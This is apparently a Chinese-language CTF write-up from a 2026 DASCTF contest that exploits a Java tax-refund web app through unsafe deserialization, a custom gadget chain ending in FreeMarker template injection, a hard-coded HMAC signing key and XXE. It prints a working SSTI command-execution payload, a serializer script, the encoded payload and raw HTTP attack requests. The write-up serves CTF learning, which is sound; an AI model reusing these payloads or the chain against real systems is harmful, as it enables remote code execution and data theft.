使用原始 ObjectInputStream.readObject(),无任何类型白名单或过滤。

找调用

com.tax.controller.ExportController

参数是voucherData,由/api/export/generate接口传入,这个接口访问需要reviewer权限,并且需要从/api/export/prepare获取exportToken

漏洞3: 自定义反序列化Gadget链

com.tax.util.ScheduledTaskHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.tax.util;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.LinkedList;
import java.util.Queue;

/* JADX INFO: loaded from: taxmanager-1.1.0-ctf.jar:BOOT-INF/classes/com/tax/util/ScheduledTaskHandler.class */
public class ScheduledTaskHandler implements Serializable {
private static final long serialVersionUID = 1;
private Queue<Runnable> taskQueue = new LinkedList();

private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException {
ois.defaultReadObject();
if (this.taskQueue != null && !this.taskQueue.isEmpty()) {
for (Runnable task : this.taskQueue) {
task.run(); // 直接调用Runnable.run()
}
}
}
}

反序列化时会自动执行 taskQueue 里的所有 Runnable 对象的run()方法。

找Runnable+Serializable的类并且有run()方法

得到com.tax.job.ReportJob

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.tax.job;

import com.tax.report.PdfReportGenerator;
import java.io.Serializable;

/* JADX INFO: loaded from: taxmanager-1.1.0-ctf.jar:BOOT-INF/classes/com/tax/job/ReportJob.class */
public class ReportJob implements Runnable, Serializable {
private static final long serialVersionUID = 1;
private PdfReportGenerator generator;
private String templateContent;

public ReportJob(PdfReportGenerator generator, String templateContent) {
this.generator = generator;
this.templateContent = templateContent;
}

@Override // java.lang.Runnable
public void run() {
if (this.generator != null && this.templateContent != null) {
this.generator.render(this.templateContent); //generator和templateContent可控
}
}
}

这里是模板渲染,参数可控。generatorPdfReportGenerator的对象

查看com.tax.report.PdfReportGenerator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class PdfReportGenerator implements Serializable {
private static final long serialVersionUID = 1;
private String reportFormat;

public PdfReportGenerator(String reportFormat) {
this.reportFormat = reportFormat;
}

public void render(String templateContent) {
try {
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
StringTemplateLoader stringLoader = new StringTemplateLoader();
stringLoader.putTemplate("reportTemplate", templateContent);
cfg.setTemplateLoader(stringLoader);
Template template = cfg.getTemplate("reportTemplate");
StringWriter out = new StringWriter();
template.process(new HashMap(), out); // 模板注入,但没有输出out,无回显
} catch (Exception e) {
}
}
}

直接将用户控制的内容作为FreeMarker模板执行,且使用 VERSION_2_3_31 默认的 UNSAFE_RESOLVER,允许使用 ObjectConstructor 等危险内置函数。

Gadget链:

1
2
3
4
5
ScheduledTaskHandler.readObject()
→ LinkedList<Runnable>.forEach(Runnable::run)
→ ReportJob.run()
→ PdfReportGenerator.render(templateContent)
→ FreeMarker SSTI (Server-Side Template Injection)

漏洞4: XXE (XML External Entity Injection)

文件: ImportController.java:21-23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class ImportController {
@RequestMapping(value = {"/api/import/history"}, method = {RequestMethod.POST}, consumes = {"application/xml"}, produces = {"application/json"})
public Map<String, Object> importHistory(@RequestBody String xmlData) {
Map<String, Object> result = new HashMap<>();
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 未禁用外部实体
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(new ByteArrayInputStream(xmlData.getBytes()));
String taxpayerId = doc.getElementsByTagName("taxpayerId").item(0).getTextContent();
result.put("success", true);
result.put("message", "History imported successfully for taxpayer: " + taxpayerId);
} catch (Exception e) {
result.put("success", false);
result.put("message", "Error parsing XML: " + e.getMessage());
}
return result;
}
}

这里waf不许读flag,由于freemarker的ssti没回显,所以可以ssti执行mv /flag /tmp/xxx来通过xxe读取

漏洞利用

首先找source,也就是voucherData是怎么传入的。

1
String voucherData = req.getVoucherData();

setVoucherData()

在com.tax.service.RefundService

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public class RefundService {

@Autowired
private RefundRepository refundRepository;

public RefundRequest createRefund(Long userId, String taxpayerId, double amount, String reason, int taxYear) {
RefundRequest req = new RefundRequest();
req.setUserId(userId);
req.setTaxpayerId(taxpayerId);
req.setAmount(amount);
req.setReason(reason);
req.setTaxYear(taxYear);
req.setStatus("pending");
return (RefundRequest) this.refundRepository.save(req);
}

public List<RefundRequest> getRefundsByUser(Long userId) {
return this.refundRepository.findByUserId(userId);
}

public RefundRequest getRefundById(Long id) {
return this.refundRepository.findById(id).orElse(null);
}

public RefundRequest approveRefund(Long refundId, String attachmentData) {
RefundRequest req = this.refundRepository.findById(refundId).orElse(null);
if (req == null || !"pending".equals(req.getStatus())) {
return null;
}
req.setStatus("approved");
if (attachmentData != null && !attachmentData.isEmpty()) {
req.setVoucherData(attachmentData); //在这
} else {
try {
TaxReport report = new TaxReport(UUID.randomUUID().toString(), req.getTaxpayerId(), req.getAmount(), req.getTaxYear());
req.setVoucherData(SerializeUtil.serialize(report));
} catch (IOException e) {
req.setVoucherData("");
}
}
return (RefundRequest) this.refundRepository.save(req);
}

public RefundRequest saveRefund(RefundRequest req) {
return (RefundRequest) this.refundRepository.save(req);
}

public RefundRequest rejectRefund(Long refundId) {
RefundRequest req = this.refundRepository.findById(refundId).orElse(null);
if (req == null || !"pending".equals(req.getStatus())) {
return null;
}
req.setStatus("rejected");
return (RefundRequest) this.refundRepository.save(req);
}
}

通过attachmentData参数传入

跟进approveRefund

com.tax.controller.ReviewController

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
@PostMapping({"/api/review"})
public Map<String, Object> reviewRefund(@RequestBody Map<String, Object> body, @RequestHeader(value = "X-Signature", defaultValue = "") String signature, HttpSession session) {
Map<String, Object> result = new HashMap<>();
String role = (String) session.getAttribute("role");
if (!"reviewer".equals(role) && !"admin".equals(role)) {
result.put("success", false);
result.put("message", "Access denied: reviewer privileges required");
return result;
}
try {
Long refundId = Long.valueOf(Long.parseLong(body.get("refundId").toString()));
String action = (String) body.getOrDefault("action", "");
String attachmentData = (String) body.getOrDefault("attachmentData", "");
if (!attachmentData.isEmpty() && !verifySignature(attachmentData, signature)) {
result.put("success", false);
result.put("message", "Invalid attachment signature. Upload rejected.");
return result;
}
if ("approve".equals(action)) {
RefundRequest req = this.refundService.approveRefund(refundId, attachmentData);
if (req == null) {
result.put("success", false);
result.put("message", "Refund not found or already processed");
return result;
}
result.put("success", true);
result.put("message", "Refund approved");
result.put("refundId", req.getId());
} else if ("reject".equals(action)) {
if (this.refundService.rejectRefund(refundId) == null) {
result.put("success", false);
result.put("message", "Refund not found or already processed");
return result;
}
result.put("success", true);
result.put("message", "Refund rejected");
} else {
result.put("success", false);
result.put("message", "Invalid action");
}
return result;
} catch (Exception e) {
result.put("success", false);
result.put("message", "Invalid refund ID");
return result;
}
}

attachmentData来自/api/review接口请求的body

这个接口除了验证role为reviewer,还调用了verifySignature

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private boolean verifySignature(String data, String signature) {
if (data == null || signature == null || signature.isEmpty()) {
return false;
}
try {
Mac mac = Mac.getInstance("HmacSHA256");
SecretKeySpec secretKeySpec = new SecretKeySpec(this.secretKey.getBytes(), "HmacSHA256");
mac.init(secretKeySpec);
byte[] hash = mac.doFinal(data.getBytes());
String expectedSig = Base64.getEncoder().encodeToString(hash);
return expectedSig.equals(signature);
} catch (Exception e) {
return false;
}
}

api.signing.secret硬编码在BOOT-INF/classes/application.properties

1
api.signing.secret=TaxManager_Secret_K3y_2026_Un1que

ssti payload,waf还会检测flag的内容,所以要base64编码

1
2
3
4
5
<#assign ex="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ex("java.lang.ProcessBuilder",["bash","-c","cat /f* 2>/dev/null | base64 > /tmp/b64"])>
<#assign proc=pb.start()>
<#assign rc=proc.waitFor()>
${rc}

gen_payload.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var ByteArrayOutputStream = Java.type("java.io.ByteArrayOutputStream");
var ObjectOutputStream = Java.type("java.io.ObjectOutputStream");
var Base64 = Java.type("java.util.Base64");
var PdfReportGenerator = Java.type("com.tax.report.PdfReportGenerator");
var ReportJob = Java.type("com.tax.job.ReportJob");
var ScheduledTaskHandler = Java.type("com.tax.util.ScheduledTaskHandler");

var ssti = '<#assign ex="freemarker.template.utility.ObjectConstructor"?new()>' +
'<#assign pb=ex("java.lang.ProcessBuilder",["bash","-c","cat /f* 2>/dev/null | base64 > /tmp/b64"])>' +
'<#assign proc=pb.start()><#assign rc=proc.waitFor()>${rc}';

// 创建Gadget链对象
var pdfGen = new PdfReportGenerator("pdf");
var reportJob = new ReportJob(pdfGen, ssti);
var handler = new ScheduledTaskHandler();

// 通过反射将ReportJob注入到taskQueue中
var taskQueueField = ScheduledTaskHandler.class.getDeclaredField("taskQueue");
taskQueueField.setAccessible(true);
var taskQueue = taskQueueField.get(handler);
taskQueue.add(reportJob);

// 序列化为base64
var baos = new ByteArrayOutputStream();
var oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
oos.close();
var payloadB64 = Base64.getEncoder().encodeToString(baos.toByteArray());
print(payloadB64);

执行时需要将应用的类加入classpath:

1
2
3
4
5
6
7
# 从JAR中提取类文件
unzip -o taxmanager-1.1.0-ctf.jar 'BOOT-INF/classes/com/tax/**' 'BOOT-INF/lib/*.jar'

# 使用jjs执行,classpath包含应用类和所有依赖
CP="BOOT-INF/classes"
for jar in BOOT-INF/lib/*.jar; do CP="$CP:$jar"; done
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs -cp "$CP" gen_payload.js
1
rO0ABXNyACFjb20udGF4LnV0aWwuU2NoZWR1bGVkVGFza0hhbmRsZXIAAAAAAAAAAQIAAUwACXRhc2tRdWV1ZXQAEUxqYXZhL3V0aWwvUXVldWU7eHBzcgAUamF2YS51dGlsLkxpbmtlZExpc3QMKVNdSmCIIgMAAHhwdwQAAAABc3IAFWNvbS50YXguam9iLlJlcG9ydEpvYgAAAAAAAAABAgACTAAJZ2VuZXJhdG9ydAAjTGNvbS90YXgvcmVwb3J0L1BkZlJlcG9ydEdlbmVyYXRvcjtMAA90ZW1wbGF0ZUNvbnRlbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyACFjb20udGF4LnJlcG9ydC5QZGZSZXBvcnRHZW5lcmF0b3IAAAAAAAAAAQIAAUwADHJlcG9ydEZvcm1hdHEAfgAHeHB0AANwZGZ0AN48I2Fzc2lnbiBleD0iZnJlZW1hcmtlci50ZW1wbGF0ZS51dGlsaXR5Lk9iamVjdENvbnN0cnVjdG9yIj9uZXcoKT48I2Fzc2lnbiBwYj1leCgiamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyIixbImJhc2giLCItYyIsImNhdCAvZiogMj4vZGV2L251bGwgfCBiYXNlNjQgPiAvdG1wL2I2NCJdKT48I2Fzc2lnbiBwcm9jPXBiLnN0YXJ0KCk+PCNhc3NpZ24gcmM9cHJvYy53YWl0Rm9yKCk+JHtyY314

使用获取到的密钥对payload进行HMAC-SHA256签名:

1
2
3
4
5
6
7
8
9
import hmac, hashlib, base64

secret = "TaxManager_Secret_K3y_2026_Un1que"
data = open("payload.b64").read().strip()
signature = base64.b64encode(
hmac.new(secret.encode(), data.encode(), hashlib.sha256).digest()
).decode()
print(signature)
# 签名结果: m+3zjpH2nhXWeV+dl23iUCoOSwEOnejzgynDO/8aai8=

创建退税申请

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/refund/apply HTTP/1.1
Host: 9f3b28f5.http-ctf2.dasctf.com
Accept: */*
Referer: http://9f3b28f5.http-ctf2.dasctf.com/apply
Accept-Language: zh-CN,zh;q=0.9
Origin: http://9f3b28f5.http-ctf2.dasctf.com
Cookie: JSESSIONID=5261F15DDC8C510A9A5461D1224712E9
Content-Type: application/json
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Content-Length: 40

{"amount":1,"taxYear":2025,"reason":"1"}

提交审核请求,将恶意payload作为attachmentData,并带上X-Signature头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/review HTTP/1.1
Host: 9f3b28f5.http-ctf2.dasctf.com
Accept: */*
Referer: http://9f3b28f5.http-ctf2.dasctf.com/apply
Accept-Language: zh-CN,zh;q=0.9
Origin: http://9f3b28f5.http-ctf2.dasctf.com
Cookie: JSESSIONID=5261F15DDC8C510A9A5461D1224712E9
Content-Type: application/json
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
X-Signature: m+3zjpH2nhXWeV+dl23iUCoOSwEOnejzgynDO/8aai8=
Content-Length: 40

{"refundId":28,"action":"approve","attachmentData":"rO0ABXNyACFjb20udGF4LnV0aWwuU2NoZWR1bGVkVGFza0hhbmRsZXIAAAAAAAAAAQIAAUwACXRhc2tRdWV1ZXQAEUxqYXZhL3V0aWwvUXVldWU7eHBzcgAUamF2YS51dGlsLkxpbmtlZExpc3QMKVNdSmCIIgMAAHhwdwQAAAABc3IAFWNvbS50YXguam9iLlJlcG9ydEpvYgAAAAAAAAABAgACTAAJZ2VuZXJhdG9ydAAjTGNvbS90YXgvcmVwb3J0L1BkZlJlcG9ydEdlbmVyYXRvcjtMAA90ZW1wbGF0ZUNvbnRlbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyACFjb20udGF4LnJlcG9ydC5QZGZSZXBvcnRHZW5lcmF0b3IAAAAAAAAAAQIAAUwADHJlcG9ydEZvcm1hdHEAfgAHeHB0AANwZGZ0AN48I2Fzc2lnbiBleD0iZnJlZW1hcmtlci50ZW1wbGF0ZS51dGlsaXR5Lk9iamVjdENvbnN0cnVjdG9yIj9uZXcoKT48I2Fzc2lnbiBwYj1leCgiamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyIixbImJhc2giLCItYyIsImNhdCAvZiogMj4vZGV2L251bGwgfCBiYXNlNjQgPiAvdG1wL2I2NCJdKT48I2Fzc2lnbiBwcm9jPXBiLnN0YXJ0KCk+PCNhc3NpZ24gcmM9cHJvYy53YWl0Rm9yKCk+JHtyY314"}

此时恶意payload已作为voucherData存储在数据库中

导出接口使用两步验证:先prepare获取token,再generate使用token

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/export/prepare HTTP/1.1
Host: 9f3b28f5.http-ctf2.dasctf.com
Accept: */*
Referer: http://9f3b28f5.http-ctf2.dasctf.com/apply
Accept-Language: zh-CN,zh;q=0.9
Origin: http://9f3b28f5.http-ctf2.dasctf.com
Cookie: JSESSIONID=5261F15DDC8C510A9A5461D1224712E9
Content-Type: application/json
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Content-Length: 40

{"refundId":28}

导出触发反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/export/generate HTTP/1.1
Host: 9f3b28f5.http-ctf2.dasctf.com
Accept: */*
Referer: http://9f3b28f5.http-ctf2.dasctf.com/apply
Accept-Language: zh-CN,zh;q=0.9
Origin: http://9f3b28f5.http-ctf2.dasctf.com
Cookie: JSESSIONID=5261F15DDC8C510A9A5461D1224712E9
Content-Type: application/json
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Content-Length: 40

{"refundId":28,"exportToken":"7a705d16-90a9-419e-8d54-3b16bc1df928"}

xxe读flag


2026DASCTF夏季赛
http://example.com/2026/06/01/2026DASCTF夏季赛/
作者
J_0k3r
发布于
2026年6月1日
许可协议
BY J_0K3R